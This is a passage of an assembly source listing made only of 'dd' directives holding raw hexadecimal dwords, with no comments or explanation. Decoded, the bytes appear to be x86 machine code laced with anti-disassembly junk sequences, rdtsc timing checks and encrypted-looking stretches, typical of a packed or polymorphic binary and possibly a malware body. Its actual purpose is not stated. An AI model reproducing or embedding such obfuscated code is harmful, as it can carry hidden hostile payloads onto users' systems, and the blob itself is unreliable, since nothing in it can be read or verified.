0C1501BEBh, 642810E8h, 44300311h dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h dd 42000000h, 0D7CEC352h, 14E87Fh, 5E600000h, 9BCC203Eh dd 8595C52h, 1ED1BD76h, 0A6A51C86h, 0DE92625h, 12000000h dd 0E3FEEDD3h, 39752260h, 0B7EA383h, 0BD83FC5Bh, 6133055h dd 0D5850F03h, 6A000003h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 17F8C355h, 49513003h dd 78900CDh, 343C58BFh, 54BD835Ah, 616C4h, 39E840Fh, 0C3800000h dd 81958982h, 0FF061310h, 16C454B5h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 3838A95Fh dd 40540A1h, 8BFCF9A8h, 1313359Dh, 6995FF06h, 66061309h dd 8B067CBBh, 16C448B5h, 0C256BF06h, 6C76143h, 10001h dd 5050F88Bh, 8B665252h, 310F5BDAh dd 12E8h, 225E3C00h, 6AC66C53h, 1E6446DFh, 352F2BA3h, 669DE03Bh dd 5A5BDE8Bh, 24348958h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 18h, 8FC35242h, 2BA876CDh, 0C454B5FFh, 6A0616h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 95FFBAC3h, 6133229h, 20859D03h, 0B58B0613h, 616C448h dd 14E8h, 0D5EFE500h, 5D474479h, 6F792E93h, 19C2BAA8h dd 0E6FCEB6Dh, 959D89B5h, 5B061329h, 5E9h, 5CED9900h, 858B5BC2h dd 6130631h, 29E58D09h, 86890613h, 0C4h, 2965B589h, 958B0613h dd 6131BBDh, 6FF38166h, 4C28376h, 89F88B66h, 6A2050h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h dd 5F70E0C3h, 14F59529h, 0BE80613h, 91000000h, 437AD038h dd 392AA182h, 8B668C8Ah, 858D5BFBh, 616D8E3h, 2129BD89h dd 85310613h, 6131F41h, 0B88689h, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 52F287C3h dd 0BEE167EDh, 2FDDBD8Bh, 0D88B0613h, 0C062BB66h, 6A006Ah dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 0D5E69CC3h, 95D43F3Ah, 0B91BD8Bh, 0FFF90613h, 16C454B5h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h dd 0C3564600h, 6D8F10EDh, 7E8DB11h, 0AC000000h, 8A8435BEh dd 0BD8B16E9h, 61304C9h, 9E85Fh, 38AC0000h, 9882D825h dd 8B1F5811h, 132B1D9Dh, 95FF5B06h, 6131E95h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 90C35646h, 18E28784h dd 0DBB70F3Fh, 34959D2Bh, 66500613h, 89EBA5BFh, 6A2434h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 1C33D5C3h, 159938C0h, 54B5FF09h, 8B0616C4h, 132175BDh dd 4595FF06h, 0F061321h, 0BD83FABFh, 6131495h, 58840F00h dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1A042444h, 46000000h, 0FFBEC356h, 56D24F7Eh, 7E850EBh dd 18000000h, 5D5FE58Fh, 5F56C6FBh, 2434895Fh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 8BC35545h, 7B1AC5F4h dd 0FF0408C7h, 16C454B5h, 95FFF906h, 61305ADh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 2EC35141h, 0B5FFD88Bh dd 616C454h, 95FFDE8Bh, 6131209h, 511BD83h, 0F020613h dd 3284h, 0DEBF0F00h, 0F55858Bh, 0B7530613h, 0C65B04h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h dd 0C3564600h, 2CBA0A64h, 0C734DDD7h, 131E5185h, 6, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 64B51432h, 0FB6F0287h, 0FFF348E9h, 0C98D09FFh, 8B06132Fh dd 8D8B60C1h, 61306BDh, 2800Fh, 61600000h, 29BD0961h, 8D06130Eh dd 131EA985h, 0CE806h, 0B3CF0000h, 0A63F3CCCh, 407E56FFh dd 905FA2F8h, 0BB665250h, 310FCF39h, 90BB6652h, 585A5B2Ah dd 0FE85250h, 0F7000000h, 39F5CB3Fh, 1F36F203h, 2A94970Ch dd 6E9ABBEh, 71000000h, 3344F57Ch, 905B5FDDh, 6AFA8Bh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 44C35040h dd 0B50B4DCDh, 912BD91h, 130DFD85h, 12E806h, 0A0360000h dd 7CBD2366h, 0FB761E01h, 1F2A5721h, 27C57BD0h, 1DB99589h dd 6A5F0613h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1A04h, 0C3504000h, 0F27852BFh, 66072FADh, 9ED99BFh dd 130F01BDh, 8D7FB706h, 17E29B85h, 359D8B06h, 83061323h dd 11E905C0h, 0E3000000h, 0BC3119FEh, 0CEB7629Dh, 4A4DB230h dd 7DD362A1h, 60525090h, 0B1D18B66h, 310F61F2h, 10860Fh dd 0AE80000h, 6B000000h, 7AE6AB16h, 753A6BB9h, 585A5F41h dd 13E950h, 0E41F0000h, 56392E53h, 53E2F800h, 0CFD25E2Ch dd 5C1E6734h, 6A9065h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1D0424h, 52420000h, 0EEC8E7C3h, 0B5EC866Eh, 2B5B1ECCh dd 130B45BDh, 6A006A06h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1A042444h, 47000000h, 0BE05C357h, 0D1544DECh dd 6A006AD7h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 17042444h, 47000000h, 0E0ADC357h, 0DCBFBCDFh, 0E96D5776h dd 9, 0F23C51ADh, 0B0CE3709h, 0F195FF64h, 0B7061307h, 6A8D8D9Eh dd 6A0616A3h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1D042444h, 43000000h, 24D7C353h, 0BDFE9F41h, 0BAE847E9h dd 23059501h, 0D1FF0613h, 8CDBD89h, 0BD830613h, 613173Dh dd 7E850F01h, 1000000h, 1329A5B5h, 8B026A06h, 1309D9BDh dd 0BABB6606h, 10E8909Ah, 0EE000000h, 5806F0CFh, 2B6AEAFAh dd 0F21C25F4h, 50D2A429h, 0F5B5752h, 0AE831h, 0E2610000h dd 66C8EF22h, 2651B75Bh, 5F585A5Bh, 8B0F9050h, 0Ch, 68B0Fh dd 9D8B0000h, 6131D55h, 1E9595FFh, 6A0613h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1B0424h, 50400000h, 61CFC5C3h dd 0BD8D6F44h, 0F3FE936h, 0E80000h, 5D000000h, 0E2A5ED81h dd 0B70F0617h, 299589FEh, 8B061309h, 130BE19Dh, 0D59D8B06h dd 8D06130Fh, 168F5E85h, 51BD8906h, 9006131Bh, 5050DF8Bh dd 11E852h, 0A2340000h, 68093D90h, 56D0046Dh, 0FF0E3259h dd 5BF2A20Eh, 11E8310Fh, 0DF000000h, 387D76C8h, 9A0B1CACh dd 0B0CFAE30h, 189AA37Fh, 5A5B2BB7h, 6A9058h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0F0DDFBC3h dd 0F2BC1064h, 0FF640189h, 35h, 8964F800h, 25h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 0E84DD8A6h, 0E60F5A00h, 6840F16h, 89000000h, 132B919Dh dd 0D985FF06h, 50061316h, 57F38166h, 0FF6A5BC2h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 80C35646h, 9217B1C3h dd 6890Fh, 0B5890000h, 6131FC9h, 0B01B5FFh, 7E90613h, 0F3000000h dd 0B314B01Eh, 95FF9163h, 61331ADh, 12BE9h, 0DFB70F00h dd 0B0DEB70Fh, 3DBD8B00h, 0E6061300h, 4870F70h, 66000000h dd 0E46A9ABBh, 870F6071h, 6, 2119B58Bh, 85890613h, 6131501h dd 0F613C61h, 0F383h, 0D9B50900h, 0F061329h, 6BAC8B6h dd 0F000000h, 0C18BD9B7h, 0E904E8C1h, 9, 65FCC0C0h, 5766CC3Dh dd 0FBBF0F99h, 0BFE2F766h, 512B664Ah, 0AE9C82Bh, 0F8000000h dd 7804201h, 0D13A3F20h, 89D18BDDh, 130EF9BDh, 0A6E906h dd 0BD8B0000h, 61311E9h, 4858BFCh, 66000000h, 0FE79EB81h dd 8B07C083h, 131935BDh, 0C08306h, 3850Fh, 0BF0F0000h dd 0FD03BF9h, 1A83h, 890F6000h, 1, 0E1BD8BF8h, 61061306h dd 63E9h, 19858900h, 8B06131Ch, 0FFFFFF8Dh, 219529FFh dd 8906130Fh, 131AB5B5h, 1E18306h, 42840Fh, 0E8600000h dd 14h, 0D8141773h, 0AC600D7Bh, 0A6004424h, 10A70EEAh dd 1CAABD99h, 830Fh, 8B5F0000h, 0A58361D7h, 0FFFFFFFFh dd 0F5B529FEh, 89061331h, 495h, 819D0B00h, 0E9061331h dd 0 dd 5FACB58Dh, 0F600617h, 8B56C3B7h, 132BC195h, 6A615A06h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h dd 0C3554500h, 0C3E922Ch, 0C7DC6EE4h, 0DA995FFh, 6A0613h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 0AF12CCC3h, 0CE9A3h, 0FC980000h, 0BD90229Dh, 0D36315DBh dd 0BE85CCCh, 70000000h, 16A764D5h, 964828CFh, 0F525068h dd 85h, 0B95B5B00h, 1032h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 15h, 8AC35141h, 0D8B70F60h, 6AFCE183h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h dd 6646C352h, 0BD8B7779h, 6130A45h, 51006AFCh, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1404h, 0C3514100h, 0E59589EFh dd 0B8061319h, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 9FC35040h dd 7DFFD3E4h, 2805707h, 0BA5F56E2h, 0 dd 5719D8Bh, 33AD0613h, 3E8D1C2h, 4E983D0h, 6AF475h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h dd 0D268BC3h, 859D8B5Dh, 6A061301h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1B042444h, 40000000h, 68FCC350h dd 7017AF46h, 0D0BBA08Ch, 0D00782Eh, 88h, 0B2DB589h, 958B0613h dd 6131BBDh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 19h, 65C35646h, 0B23BAF3Ah, 0E1BD8BD6h, 8B061306h, 1318DD8Dh dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h dd 0C3514100h, 40253057h, 0BD8B26D9h, 6130D91h, 8BC28B50h dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 160424h, 51410000h, 6416BAC3h dd 0CECBB66h, 59858960h, 8B061313h, 1322CDB5h, 6A6106h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h dd 29611AC3h, 0E5EFF549h, 83B75FFFh, 131D1DBDh, 840F0006h dd 1Eh, 0B8h, 0DF816600h, 8D8D0DB0h, 6134F8Dh, 1059BD89h dd 0E1FF0613h, 17059589h, 0BD830613h, 6133055h, 0A8840F00h dd 83000004h, 133055BDh, 840F0106h, 4B6h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 1Ch, 0CBC35141h, 7DF52700h dd 25FBEA75h, 3055BD83h, 0F030613h, 44F86h, 1DBB6600h dd 6A6049h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h dd 57470000h, 10C97BC3h, 0EAB33A2Bh, 80D98C66h, 0EF8104E1h dd 2C332A0Eh, 840FC90Ah, 1C2h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ch, 0C7C35545h, 0C78E2C23h, 2E645665h dd 0B8EB8166h, 0B9858B32h, 6A06132Bh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 4334C355h dd 10E9h, 0D8341200h, 2B7F681Bh, 4766FC6Bh, 9DE1649Fh dd 19D8B75h, 33061325h, 1305B985h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 2A8AA758h dd 5250C454h, 0CE9h, 105A1300h, 0F3795A92h, 0B88AAD2Fh dd 4895BD5h, 52006A24h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1A04h, 0C3524200h, 6B8C89C7h, 6A1E794Fh, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h dd 0C5AE8610h, 661538FCh, 89DFD381h, 4DCF8166h, 4E89Dh dd 3FF0000h, 0BB66001Fh, 0F500C50h, 28Dh, 8B5B5700h, 0E8042444h dd 8, 0B82E1046h, 2B6499B9h, 5BFA8B57h, 0E8008B5Fh, 0Eh dd 659CEDD9h, 7ACC519Dh, 0AF49A07h, 10B7A3AAh, 2444895Fh dd 0F525004h, 8E931h, 53160000h, 0CC1CDF00h, 585AAF57h dd 53006A58h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h dd 0C3534300h, 41683D29h, 0BD09EAFBh, 61319D1h, 6E9h, 178D700h dd 5195CEC2h, 0D4EF8166h, 95FF5BC7h, 6130A3Dh, 0C4548589h dd 0EF800616h, 1F1E96Dh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 170424h, 56460000h, 4F930CC3h, 0A4AABB91h dd 858B3737h, 616C44Ch, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Dh, 5FC35545h, 99CD587Fh, 0CDC4D5D0h, 53C381CDh dd 5000F35Fh, 0FE9h, 0FD245300h, 9A9A1520h, 85007989h dd 0B4A89935h, 1800C75Bh, 31000000h, 1328C18Dh, 50B58B06h dd 660616C4h, 8BA208BBh, 132A5585h, 6A068906h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h dd 2B74C350h, 0FBB048Eh, 381h, 0FAB70F00h, 8B0Fh, 858B0000h dd 6132BB9h, 1991BD09h, 0BD230613h, 61321FDh, 81044689h dd 25A8E8F7h, 0FDB79622h, 6A9650h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 190424h, 55450000h, 660FDAC3h, 0FF682420h dd 16C44CB5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1B04h, 0C3514100h, 142982FBh, 0A7AA96BAh, 0C2C3E068h dd 9856BB4Fh, 34811530h, 0DDC01F24h, 57006A4Fh, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 14398CF7h dd 7A7E30CAh, 6E9DBE1h, 0D7000000h, 0DBD9AF48h, 54858D31h dd 6A0616C4h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1A042444h, 45000000h, 7AA6C355h, 3622D379h, 6660904Fh dd 0E8D241B8h, 0Eh, 5BF3E5BBh, 4328B0C2h, 4F69D768h, 52502197h dd 585A310Fh, 6050615Bh, 0A3CEB850h, 615E35F8h, 5E990h dd 93550000h, 89A7D2E6h, 1314A59Dh, 3D95FF06h, 6A06130Ah dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1C042444h dd 40000000h, 0F155C350h, 9B6A7Ah, 61A18357h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 76C35242h, 0F73B12C0h dd 0D98B6616h, 0D3FBBB66h, 305585C7h, 30613h, 0BD2B0000h dd 6132821h, 0C454BD83h, 0F000616h, 3F84h, 51006A00h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 0AFFAB7FEh, 0F605A7Bh, 2956CABFh, 1323E195h, 0E9615906h dd 27h, 0DA5BD8Bh, 0B5310613h, 6130F01h, 110C3050h, 1114400h dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h dd 9B3C352h, 13117595h, 0F3816606h, 816610A4h, 0E948E9CFh dd 12h, 7182F3D6h, 0D14E47DFh, 0A53D5409h, 5C4B77FDh, 0BD834E00h dd 6133055h, 1850F03h, 6A000005h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 15042444h, 40000000h, 0B57CC350h dd 0C454BD83h, 0F000616h, 4D784h, 0FE800h, 0EE450000h dd 262ACC21h, 0FAD371CEh, 0DF0735D3h, 0F985311Dh, 5F061331h dd 0FFF88B66h, 16C454B5h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 8248D4B4h dd 94DDF7A8h, 95FF3118h, 6130969h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 19h, 23C35646h, 65C78E2Ch, 9E956h dd 0F030000h, 1047A1E9h, 52369AF9h, 5BF98B66h, 0C448B58Bh dd 6A0616h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h dd 50400000h, 0BFA507C3h, 10E967h, 0D5780000h, 7F1994DCh dd 0FE9B3852h, 72D65A81h, 0F98B795Ch, 106C7h, 6E80001h dd 0C6000000h, 650F2F65h, 0B59D892Eh, 5B06130Bh, 9E8h dd 256D5B00h, 0A661A1BBh, 0B70F3779h, 57965BFBh, 505FDD8Ah dd 2DBB6650h, 66965FBFh, 0FFC6B8BFh, 16C454B5h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 1D85018Eh, 66061306h, 2F12EB81h, 322995FFh, 6A0613h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h dd 56460000h, 1C2404C3h, 29E42DC3h, 8974C436h, 1311D9BDh dd 48B58B06h, 6A0616C4h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 8BDCC352h, 13063185h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h dd 0C3514100h, 38B64462h, 0C48689BFh, 8B000000h, 131BBD95h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h dd 0C3574700h, 972EC9C1h, 5347AA36h, 0C2835823h, 13E904h dd 0DAF30000h, 724DEA2Fh, 0E9871161h, 0AA6FCBE9h, 85D9A96h dd 2050891Ah, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 17h, 71C35242h, 8B487C0Eh, 0B58B60D8h, 6130DD1h, 8FF897B8h dd 858D6131h, 616D8E3h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 19h, 8EC35646h, 3CDED0BCh, 5E98BFD1h, 86892043h dd 0B8h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 18h, 0B1C35040h, 0EF50BC0Eh, 0A35BD89h, 8D890613h, 6130E9Dh dd 0BB66006Ah, 816607A1h, 0FF7FD1C3h, 16C454B5h, 68B0F06h dd 8B000000h, 13197DBDh, 0FBBF0F06h, 1E9595FFh, 0CE90613h dd 0DD000000h, 0AF72DB44h, 0D6C2B983h, 96EFA82Ah, 10E8h dd 3668000h, 9B8ACE71h, 64696A60h, 0D219113Bh, 9EBB6630h dd 0E8505FE2h, 0Fh, 5033E961h, 16B62A7Ch, 0EDAC77C8h, 0F04FC51h dd 280h, 5FD88B00h, 0BE666096h, 0B8663AB1h, 0FF6190A5h dd 16C454B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1A04h, 0C3524200h, 0FF7040C6h, 317D1D30h, 1329DD95h dd 0DA8B6606h, 214595FFh, 8B660613h, 49BD8BDFh, 8306131Ah dd 131495BDh, 840F0006h, 2Dh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ah, 3C35343h, 4CB9E559h, 0BF50A790h dd 6425FB47h, 8A243489h, 54B5FFFDh, 6A0616C4h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h dd 2949C355h, 13248D85h, 0AD95FF06h, 0E9061305h, 11h, 2625A6A5h dd 25E91BF7h, 890E7BFh, 0C168BDF7h, 54B5FF84h, 6A0616C4h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h dd 47000000h, 1D86C357h, 9D8989E3h, 6131709h, 120995FFh dd 6A0613h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h dd 52420000h, 4C561DC3h, 11BD8327h, 2061305h, 8E840Fh dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h dd 50400000h, 0FE8D16C3h, 37B9FE83h, 0EE87Eh, 93FD0000h dd 0F927B4CEh, 0A9FD0FB7h, 0CFE07DEEh, 68D0Fh, 890F0000h dd 0 dd 55858B5Fh, 6A06130Fh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 171FC356h, 0D586D9E0h dd 0D6F38166h, 0C60Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 14h, 99C35646h, 1E5185C7h, 613h, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 0FBC66C3h, 687h, 58D8900h, 0BF06131Eh, 29294FB1h, 0FFF1C9E9h dd 9D8B60FFh, 61319DDh, 5BDBD89h, 8B610613h, 50006AC1h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 145E1664h, 0A9858D71h, 0E806131Eh, 10h, 792C8457h, 0A8F978Dh dd 193DA073h, 0FCB51C76h, 0C030BF66h, 61BB905Bh, 504F455Bh dd 61DE8B60h, 52006A90h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1C04h, 0C3524200h, 727E2C4h, 5DC38C61h, 0AAF38177h dd 802A1227h, 6AA3C7h, 20859D89h, 6A0613h, 858DFC8Ah, 617F362h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0E9C35747h dd 7743C5CFh, 0DE841h, 61560000h, 8AE8F74Dh, 4B634D95h dd 5BD878D8h, 23359D8Bh, 0C0830613h, 0E8806005h, 9061F5CAh dd 6583BB50h, 66905EA1h, 6A2E16BBh, 998D8900h, 6A06130Ah dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h dd 0C3554500h, 0CE97F6F4h, 0F195FFD0h, 23061307h, 1318D5BDh dd 6A8D8D06h, 890616A3h, 1323219Dh, 0E8D1FF06h, 6, 0D20EEF58h dd 0BB66205Fh, 835B2793h, 13173DBDh, 850F0106h, 68h, 9044BF66h dd 6A026Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h dd 57470000h, 0A2CD83C3h, 8087022Fh, 8B90B1D2h, 13308DBDh dd 52509006h, 585A310Fh, 12E85050h, 0B6000000h, 58CEAF47h dd 19B67732h, 31E521F9h, 0FED8A50h, 5B616033h, 9529905Bh dd 613140Dh, 1E9595FFh, 9D890613h, 61318F9h, 0DEAE9h, 0E800h dd 815D0000h, 17F36CEDh, 0D8BF0F06h, 8DFB8B66h, 168F5E85h dd 6840F06h, 33000000h, 130DD9BDh, 0BB669006h, 6050AEBAh dd 0C052BB66h, 8E0F51h, 58000000h, 0CE99061h, 97000000h dd 126C7F9h, 3B035060h, 6448E3A6h, 35FFh, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h dd 0A7D9F3C3h, 89D4C335h, 6615D5E3h, 34ADDB81h, 258964h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 18042444h, 41000000h, 759AC351h, 0FFE31BA1h, 1316D985h dd 7E806h, 20870000h, 0E68748BFh, 58B0F1Eh, 0BB000000h dd 2C678D6h, 6AF98A5Bh, 50006AFFh, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1D04h, 0C3504000h, 50AD6D73h, 578BA8D6h dd 0FFF95964h, 132101B5h, 0DABF0F06h, 31AD95FFh, 50E90613h dd 0E8000001h, 9, 9716FF66h, 5FC523EEh, 0EF81667Dh, 0BB5B18FAh dd 5EE3E36Fh, 0DE800B0h, 0DF000000h, 12969294h, 36DF1AA1h dd 2CA5E262h, 895FDE8Ah, 1312DDBDh, 8B70E606h, 131CF5BDh dd 8B71E406h, 130B759Dh, 0F613C06h, 10283h, 0DDBD2300h dd 2B061301h, 130C559Dh, 0C8B60F06h, 0FE8h, 635D5700h dd 6D5F351Bh, 4F19C4E1h, 15C77E47h, 5BDE8B51h, 6BA5Fh dd 8B660000h, 89C18BFEh, 131571B5h, 4E8C106h, 0E2F766FCh dd 2B3D8529h, 8D290613h, 6132051h, 0BD8BC82Bh, 61309C5h dd 8589D18Bh, 6131B01h, 0A2E9h, 18D0F00h, 0F8000000h, 4C44858Bh dd 0E7815F4Ch, 1E747A1Dh, 5207C083h, 9B58956h, 5B06130Ch dd 0C0835Fh, 1985BD8Bh, 0D03B0613h, 0E830Fh, 95890000h dd 61314E1h, 66E9h, 0FA8B6600h, 0FFFF8D8Bh, 13E8FFFFh dd 0B9000000h, 0C351CA17h, 9A9E5FD0h, 6FE1C6D5h, 0C0F8FE60h dd 81663784h, 5F468DC7h, 0F01E183h, 3684h, 13E900h, 2D370000h dd 72370DB0h, 5CDB7EF3h, 0BF401B70h, 800A2AA8h, 0FFA5837Fh dd 0FEFFFFFFh, 0D98531h, 95890613h, 5F4C4C44h, 3069BD0Bh dd 0E90613h, 8D000000h, 176FDEB5h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 0BBA718FAh dd 3004080Eh, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 667526C3h, 860FFB8Bh, 5, 38EF8166h dd 0D7BB6604h, 0A995FFADh, 6A06130Dh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 9A08C352h dd 8A2B001Fh, 3AF38166h, 0FE9B943h, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 190424h, 53430000h, 7B3294C3h dd 815F15FFh, 4447F8E3h, 0FCE1836Bh, 6800F50h, 31000000h dd 130C31BDh, 6AFC5F06h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1B042444h, 46000000h, 4C8C356h, 20A38DCDh dd 0C02BF57Bh, 0BAh, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1404h, 0C3534300h, 0C233AD66h, 0D003E8D1h dd 7504E983h, 57006AF4h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1D04h, 0C3574700h, 0A1962311h, 9A86F476h, 8A0F07ADh dd 6, 1D319D2Bh, 9D890613h, 61323B1h, 880Dh, 0CD858900h dd 9061301h, 13063595h, 0BD958B06h, 6A06131Bh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h dd 76B9C350h, 5E9C3FCh, 0B7000000h, 3D9EF83Ch, 0A519D8Bh dd 8D8B0613h, 61318DDh, 9839CF81h, 8B5047E3h, 3188BC2h dd 8B188BC1h, 3E8D1C1h, 58188BC2h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 15h, 50C35343h, 0DE9BCh, 56200000h dd 0DF80AAE9h, 818CFF9Ch, 8934DED8h, 132A1995h, 0A1B58906h dd 83061319h, 131D1DBDh, 840F0006h, 68h, 0DCEB8166h, 0B81Bh dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h dd 56460000h, 8611FEC3h, 600E2DDDh, 0D9BD8BA7h, 8D061309h dd 134F8D8Dh, 0FFD98B06h, 50006AE1h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 830F47B5h dd 8, 28C0Fh, 3B30000h, 3055BD83h, 0F000613h, 3C484h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 615F19B4h, 0D60E2BF4h, 0A59D8B0Eh, 83061330h, 133055BDh dd 840F0106h, 3A8h, 3D1AFBBh, 55BD834Dh, 3061330h, 360860Fh dd 840F0000h, 6, 14659D8Bh, 6A600613h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 662DC351h dd 0BD31D98Ch, 6130FF9h, 6A04E180h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 912FC356h dd 32649A57h, 40581C2Bh, 0DD953360h, 8B061324h, 1307C1BDh dd 0C90A6106h, 116840Fh, 0F3800000h, 72DBF16h, 858B0610h dd 6132BB9h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Dh, 69C35040h, 911706C9h, 8368AFh, 9D8B51AFh, 6131DF5h dd 0B985335Fh, 6A061305h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 8771C352h dd 0C6404C89h, 6E890E6h, 82000000h, 0D8830087h, 2820F00h dd 53000000h, 